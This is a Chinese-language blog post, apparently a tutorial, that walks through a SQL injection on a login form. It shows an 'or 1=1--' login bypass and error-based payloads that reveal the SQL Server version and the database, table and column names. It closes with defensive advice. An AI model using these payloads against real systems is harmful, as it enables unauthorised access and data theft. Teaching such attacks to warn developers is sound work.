SQL注入有很大的危害,這篇文章就記錄了一個SQL注入的實例全過程,大家來看看他的危害有多大。
初步注入--繞過驗證,直接登入
公司網站登陸框如下:
##可以看到除了帳號密碼之外,還有一個公司名的輸入框,根據輸入框的形式不難推出SQL的寫法如下:
SELECT * From Table WHERE Name='XX' and Password='YY' and Corp='ZZ'
登入後複製
我發現前兩者都做一些檢查,而第三個輸入框卻疏忽了,漏洞就在這裡!注入開始,在輸入框中輸入以下內容:
用戶名亂填,密碼留空,這種情況下點擊登入
按鈕後竟然成功登入了。我們看一下最終的SQL就會找到原因:
SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=1--'
登入後複製
從程式碼可以看出,前一半單引號被閉合,後一半單引號被「--」給
註解掉,中間多了一個永遠成立的條件“1=1”,這就造成任何字元都能成功登入的結果。而Sql注入的危害卻不只是匿名登入。
中級注入--借助異常獲取資訊。
現在我們在第三個輸入框中寫入:「‘ or 1=(SELECT @@version) –」。如下:
後台的SQL變成了這樣:
SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=(SELECT @@VERSION)--'
登入後複製
判斷條件變成了1=(SELECT @@VERSION),這個寫法一定會導致錯誤,但出錯正是我們想要的。點選登入後,頁面出現以下資訊:
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45 Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) ' to data type int.
登入後複製
可怕的事情出現了,伺服器的作業系統和SQL Server版本資訊竟然透過錯誤顯示出來。
危害擴大--取得伺服器所有的庫名、表名、欄位名稱
接著,我們在輸入框中輸入以下資訊:「t' or 1=(SELECT
top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))--”,此時發現第三個輸入框有字數長度的限制,然而這種客戶端的限制形同虛設,直接透過Google瀏覽器就能去除。
點擊登錄,傳回的資訊如下:
Conversion failed when converting the nvarchar value 'master' to data type int.
登入後複製
資料庫名稱「master」透過異常被顯示出來!依序改變上面SQL語句中的序號,就能得到伺服器上所有資料庫的名稱。
接著,輸入資訊如下:"b' 或 1=(SELECT top 1 name FROM master..sys
objects where xtype='U' and name not in (SELECT top 1 name FROM master..sysobjects where xtype='U'))--”
得到回傳資訊如下:
Conversion failed when converting the nvarchar value 'spt_fallback_db' to data type int.
登入後複製
我們得到了master資料庫中的第一張表名:"spt_fallback_db ”,同上,依序改變序號,可得到該庫全部表名。
現在我們以「spt_fallback_db」表為例,嘗試取得該表中所有的欄位名稱。在輸入框中輸入以下程式碼:「b' 或 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master ..sysobjects.name='spt_fallback_db');」
於是,得到錯誤提示如下:
"Conversion failed when converting the nvarchar value 'xserver_name' to data type int.";
登入後複製
這樣第一個欄位名稱「xserver_name」就出來了,依序改變序號,就能遍歷出所有的字段名。
最終目的--取得資料庫中的資料
寫到這裡,我們已知透過SQL注入能取得全部的資料庫,表,及其字段,為了防止本文完全淪為注入教程,取得資料的程式碼就不再描述,而這篇文章的目的也已達到,SQL注入代表什麼?
意味著資料庫中所有資料都能被盜取。
當知道這個危害以後,是否還能有人對SQL注入漏洞置之不理?
結語
關於安全性,本文可總結出幾點:
- 對使用者輸入的內容要時時保持警覺。
- 只有客戶端的驗證等於沒有驗證。
- 永遠不要把伺服器錯誤訊息暴露給使用者。
除此之外,我還要補充幾點:
- #SQL注入不僅能透過輸入框,還能透過Url達到目的。
- 除了伺服器錯誤頁面,還有其他方法可以取得資料庫資訊。
- 可透過軟體模擬注入行為,這種方式盜取資訊的速度比你想像中快的多。
漏洞跟語言平台無關,並非asp才有註入漏洞而asp.net就沒有註入漏洞,一切要看設計者是否用心。
【相關推薦】
1. 特別推薦:「php程式設計師工具箱」V0.1版下載
2. 如何防止sql注入?介紹5種防止sql注入的方法
3. 分享五個著名的SQL注入漏洞掃描工具
4. 分享一個使用SQL注入漏洞拖曳程式庫的實例講解
#
以上是分享一個SQL注入的實例過程的詳細內容。更多資訊請關注PHP中文網其他相關文章!